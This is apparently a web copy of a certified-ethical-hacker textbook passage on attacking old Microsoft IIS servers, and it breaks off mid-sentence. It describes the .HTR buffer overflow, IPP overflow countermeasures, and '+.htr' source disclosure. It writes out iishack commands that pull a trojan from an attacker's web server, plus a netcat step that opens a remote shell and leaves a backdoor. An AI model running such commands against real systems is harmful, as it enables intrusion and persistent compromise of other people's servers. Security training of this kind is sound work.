Server attacking tutorial 2013 new its a text book of Certified Ethical Hackers

Hacking Tool: IISHack.exe iishack.exe overflows a buffer used by IIS http daemon, allowing for arbitrary code to be executed. c:\ iishack www.yourtarget.com 80 www.yourserver.com/thetrojan.exe www.yourtarget.com is the IIS server you're hacking, 80 is the port its listening on,  www.yourserver.com is some webserver with your trojan or custom script (your own, or another), and /thetrojan.exe is the path to that script. "IIS Hack" is a buffer overflow vulnerability exposed by the way IIS handles requests with .HTR extensions. A hacker sends a long URL that ends with ".HTR". IIS interprets it as a file type of HTR and invokes the ISM.DLL to handle the request. Since ISM.DLL is vulnerable to a buffer overflow, a carefully crafted string can be executed in the security context of IIS, which is privileged. For example, it is relatively simple to include in the exploit code a sequence of commands that will open a TCP/IP connection, download an executable and then execute it. This way, any malicious code can be executed. A sample exploit can be constructed as shown below: To hack the target site and attacker's system running a web server can use iishack.exe and ncx.exe. To begin with, the ncx.exe is configured to run from the root directory. IIShack.exe is then run against the victim site. c:\>iishack.exe  80 /ncx.exe The attacker can then use netcat to evoke the command shell c:\>nc  80 He can proceed to upload and execute any code of his choice and maintain a backdoor on the target site. IPP Buffer Overflow Countermeasures Install latest service pack from Microsoft. Remove IPP printing from IIS Server Install firewall and remove unused extensions Implement aggressive network egress filtering Use IISLockdown and URLScan utilities Regularly scan your network for vulnerable servers Without any further explanation, the first countermeasure is obviously to install the latest service packs and hotfixes. As with many IIS vulnerabilities, the IPP exploit takes advantage of a bug in an ISAPI DLL that ships with IIS 5 and is configured by default to handle requests for certain file types. This particular ISAPI filter resides in C: \WINNT\System32\msw3prt.dll and provides Windows 2000 with support for the IPP. If this functionality is not required on the Web server, the application mapping for this DLL to .printer files can be removed (and optionally deleting the DLL itself) in order to prevent the buffer overflow from being exploited. This is possible because the DLL will not be loaded into the IIS process when it starts up. In fact, most security issues are centered on the ISAPI DLL mappings, making this one of the most important countermeasure to be adopted when securing IIS. Another standard countermeasure that can be adopted here is to use a firewall and remove any extensions that are not required. Implementing aggressive network egress can help to a certain degree. With IIS, using IISLockdown and URLScan - (free utilities from Microsoft) can ensure more protection and minimize damage in case the web server is affected. Microsoft has also released a patch for the buffer overflow,  but removing the ISAPI DLL is a more proactive solution in case there are additional vulnerabilities that are yet to be found with the code. ISAPI DLL Source disclosures Microsoft IIS 4.0 and 5.0 can be made to disclose fragments of source code which should otherwise be in accessible. This is done by appending "+.htr" to a request for a known .asp (or .asa, .ini, etc) file. appending this string causes the request to be handled by ISM.DLL, which then strips the '+.htr' string and may disclose part or all of the source of the .asp file specified in the request. IIS supports several file types that require server-side processing. When a web site visitor requests a file of one of these types, an appropriate filter DLL processes it. Vulnerability exists in ISM.DLL, the filter DLL that processes .HTR files. HTR files enable remote administration of user passwords. HTR files are scripts that allow Windows NT password services to be provided via IIS we